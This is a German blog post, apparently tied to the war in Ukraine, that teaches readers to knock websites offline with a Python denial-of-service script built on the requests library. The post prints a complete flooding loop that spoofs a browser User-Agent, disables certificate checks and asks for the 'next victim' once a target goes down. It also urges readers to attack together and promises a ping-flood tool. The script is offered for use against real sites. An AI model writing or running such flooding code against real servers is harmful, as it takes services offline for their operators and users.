DOS-атак

Python- und DOS-Angriffe mithilfe der Requests-Bibliothek

Hallo alle zusammen! Heute ein kurzer Beitrag, inspiriert durch die aktuelle Situation. Wir werden mit DOS-Angriffen experimentieren, und zwar mit der Bibliothek requests in Python.

Zunächst einmal: Was ist ein DOS-Angriff? Es geht darum, eine Situation zu schaffen, in der wir entweder alleine (was bei den heutigen Rechenleistungen ziemlich ineffizient ist) oder gemeinsam (oh ja!) eine gewisse Last auf den angegriffenen Server erzeugen. Eine große Anzahl von Anfragen zwingt den Server, Ressourcen für die Beantwortung bereitzustellen, was schließlich dazu führt, dass der Server überlastet wird und die Anfragen, die wirklich wichtig sind, nicht mehr bearbeiten kann. Also lasst uns herausfinden, wie man solche Anfragen erstellt! 🙂

Die Logik des heutigen Codes ist sehr einfach: Wir senden eine Anfrage an eine Website und versuchen, den vollständigen Code der gewünschten Seite zu erhalten. Eine Kleinigkeit, aber wenn es Millionen solcher Kleinigkeiten gibt, beginnt die Website zu stocken und wird schließlich instabil. Für unseren Computer und unsere Verbindung ist dies eine kaum merkliche Belastung.

Hier ist ein Beispiel für den Code (und ja, vielen Dank an meinen Abonnenten Lev, der derzeit in Kiew ist, für das Testen und die Kommentare. Die Situation dort ist sehr schwierig, aber er verliert den Optimismus nicht – großen Respekt dafür!):

import requests  # Wir haben die Bibliothek `requests` eingebunden (ich habe <a href="https://lavrynenko.com/?s=requests" rel="noopener" target="_blank">mehrfach darüber geschrieben</a>)
def get_link():  # Funktion erstellen, die den Link zur Zielwebsite abruft
link = input(str('Link: '))
get_content(link)
def get_content(link):  # Funktion erstellen, die die Anfragen an die Zielwebsite generiert
i = 1
while True:
try:
r = requests.get(link, headers={'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/69.0'}, verify=False)  # Gefälschter Browser-Header
r_answer = r.content  # Variable erstellen, die den Quellcode der Seite enthält
print('Pakete gesendet:', i)  # Statistik ausgeben
i = i + 1
except:
print('Scheint so, als ob die Website', link, 'nicht erreichbar ist. Überprüfen wir das noch einmal...')  # Ist sie down? Überprüfen wir es sicherheitshalber :) 
try:
r = requests.get(link, headers={'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/69.0'}, verify=False)
r_answer = r.content
print('Definitiv down :) Nächstes Opfer auswählen.')  # Definitiv down. Lasst uns das nächste Opfer auswählen? :) 
get_link()
except:
print('Definitiv down :) Nächstes Opfer auswählen.')
get_link()
while True:
get_content(get_link())
get_link()

Vielen Dank für Ihre Aufmerksamkeit! Wie immer – falls Sie Fragen haben, schreiben Sie mir eine E-Mail oder eine Nachricht in Telegram.

Morgen werde ich versuchen, eine Version eines einfachen Ping-basierten Angreifers als Desktop-Anwendung zu veröffentlichen (das Problem moderner Computerbenutzer ist, dass die meisten überhaupt nicht mit der Befehlszeile umgehen können). Ruhm der Ukraine!

Support the Blog!

Running a blog takes a lot of effort, time, and passion. Your donations help improve the content, inspire new ideas, and keep the project going.
If you’ve enjoyed the blog’s materials, any support would mean the world to me. Thank you for being here! ❤️

PayPal Logo Donate via PayPal

Revolut Logo Donate via Revolut